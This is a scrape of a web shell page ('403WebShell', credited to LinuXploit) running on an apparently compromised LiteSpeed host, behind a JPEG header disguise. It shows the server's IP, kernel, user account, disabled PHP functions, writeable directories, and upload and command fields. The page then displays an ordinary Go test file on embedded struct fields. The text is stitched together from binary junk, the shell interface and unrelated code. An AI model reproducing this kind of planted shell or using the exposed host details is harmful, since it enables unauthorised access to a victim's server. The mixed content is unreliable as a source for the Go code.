JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 153.92.12.147  /  Your IP : 216.73.216.114
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/golang/1.22.0/test/ken/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/golang/1.22.0/test/ken/embed.go
// run

// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Test embedded fields of structs, including methods.

package main


type I interface {
	test1() int
	test2() int
	test3() int
	test4() int
	test5() int
	test6() int
	test7() int
}

/******
 ******
 ******/

type SubpSubp struct {
	a7 int
	a  int
}

func (p *SubpSubp) test7() int {
	if p.a != p.a7 {
		println("SubpSubp", p, p.a7)
		panic("fail")
	}
	return p.a
}
func (p *SubpSubp) testx() { println("SubpSubp", p, p.a7) }

/******
 ******
 ******/

type SubpSub struct {
	a6 int
	SubpSubp
	a int
}

func (p *SubpSub) test6() int {
	if p.a != p.a6 {
		println("SubpSub", p, p.a6)
		panic("fail")
	}
	return p.a
}
func (p *SubpSub) testx() { println("SubpSub", p, p.a6) }

/******
 ******
 ******/

type SubSubp struct {
	a5 int
	a  int
}

func (p *SubSubp) test5() int {
	if p.a != p.a5 {
		println("SubpSub", p, p.a5)
		panic("fail")
	}
	return p.a
}

/******
 ******
 ******/

type SubSub struct {
	a4 int
	a  int
}

func (p *SubSub) test4() int {
	if p.a != p.a4 {
		println("SubpSub", p, p.a4)
		panic("fail")
	}
	return p.a
}

/******
 ******
 ******/

type Subp struct {
	a3 int
	*SubpSubp
	SubpSub
	a int
}

func (p *Subp) test3() int {
	if p.a != p.a3 {
		println("SubpSub", p, p.a3)
		panic("fail")
	}
	return p.a
}

/******
 ******
 ******/

type Sub struct {
	a2 int
	*SubSubp
	SubSub
	a int
}

func (p *Sub) test2() int {
	if p.a != p.a2 {
		println("SubpSub", p, p.a2)
		panic("fail")
	}
	return p.a
}

/******
 ******
 ******/

type S struct {
	a1 int
	Sub
	*Subp
	a int
}

func (p *S) test1() int {
	if p.a != p.a1 {
		println("SubpSub", p, p.a1)
		panic("fail")
	}
	return p.a
}

/******
 ******
 ******/

func main() {
	var i I
	var s *S

	// allocate
	s = new(S)
	s.Subp = new(Subp)
	s.Sub.SubSubp = new(SubSubp)
	s.Subp.SubpSubp = new(SubpSubp)

	// explicit assignment
	s.a = 1
	s.Sub.a = 2
	s.Subp.a = 3
	s.Sub.SubSub.a = 4
	s.Sub.SubSubp.a = 5
	s.Subp.SubpSub.a = 6
	s.Subp.SubpSubp.a = 7

	// embedded (unique) assignment
	s.a1 = 1
	s.a2 = 2
	s.a3 = 3
	s.a4 = 4
	s.a5 = 5
	s.a6 = 6
	s.a7 = 7

	// unique calls with explicit &
	if s.test1() != 1 {
		println("t1", 1)
		panic("fail")
	}
	if (&s.Sub).test2() != 2 {
		println("t1", 2)
		panic("fail")
	}
	if s.Subp.test3() != 3 {
		println("t1", 3)
		panic("fail")
	}
	if (&s.Sub.SubSub).test4() != 4 {
		println("t1", 4)
		panic("fail")
	}
	if s.Sub.SubSubp.test5() != 5 {
		println("t1", 5)
		panic("fail")
	}
	if (&s.Subp.SubpSub).test6() != 6 {
		println("t1", 6)
		panic("fail")
	}
	if s.Subp.SubpSubp.test7() != 7 {
		println("t1", 7)
		panic("fail")
	}

	// automatic &
	if s.Sub.test2() != 2 {
		println("t2", 2)
		panic("fail")
	}
	if s.Sub.SubSub.test4() != 4 {
		println("t2", 4)
		panic("fail")
	}
	if s.Subp.SubpSub.test6() != 6 {
		println("t2", 6)
		panic("fail")
	}

	// embedded calls
	if s.test1() != s.a1 {
		println("t3", 1)
		panic("fail")
	}
	if s.test2() != s.a2 {
		println("t3", 2)
		panic("fail")
	}
	if s.test3() != s.a3 {
		println("t3", 3)
		panic("fail")
	}
	if s.test4() != s.a4 {
		println("t3", 4)
		panic("fail")
	}
	if s.test5() != s.a5 {
		println("t3", 5)
		panic("fail")
	}
	if s.test6() != s.a6 {
		println("t3", 6)
		panic("fail")
	}
	if s.test7() != s.a7 {
		println("t3", 7)
		panic("fail")
	}

	// run it through an interface
	i = s
	s = i.(*S)

	// same as t3
	if s.test1() != s.a1 {
		println("t4", 1)
		panic("fail")
	}
	if s.test2() != s.a2 {
		println("t4", 2)
		panic("fail")
	}
	if s.test3() != s.a3 {
		println("t4", 3)
		panic("fail")
	}
	if s.test4() != s.a4 {
		println("t4", 4)
		panic("fail")
	}
	if s.test5() != s.a5 {
		println("t4", 5)
		panic("fail")
	}
	if s.test6() != s.a6 {
		println("t4", 6)
		panic("fail")
	}
	if s.test7() != s.a7 {
		println("t4", 7)
		panic("fail")
	}

	// call interface
	if i.test1() != s.test1() {
		println("t5", 1)
		panic("fail")
	}
	if i.test2() != s.test2() {
		println("t5", 2)
		panic("fail")
	}
	if i.test3() != s.test3() {
		println("t5", 3)
		panic("fail")
	}
	if i.test4() != s.test4() {
		println("t5", 4)
		panic("fail")
	}
	if i.test5() != s.test5() {
		println("t5", 5)
		panic("fail")
	}
	if i.test6() != s.test6() {
		println("t5", 6)
		panic("fail")
	}
	if i.test7() != s.test7() {
		println("t5", 7)
		panic("fail")
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit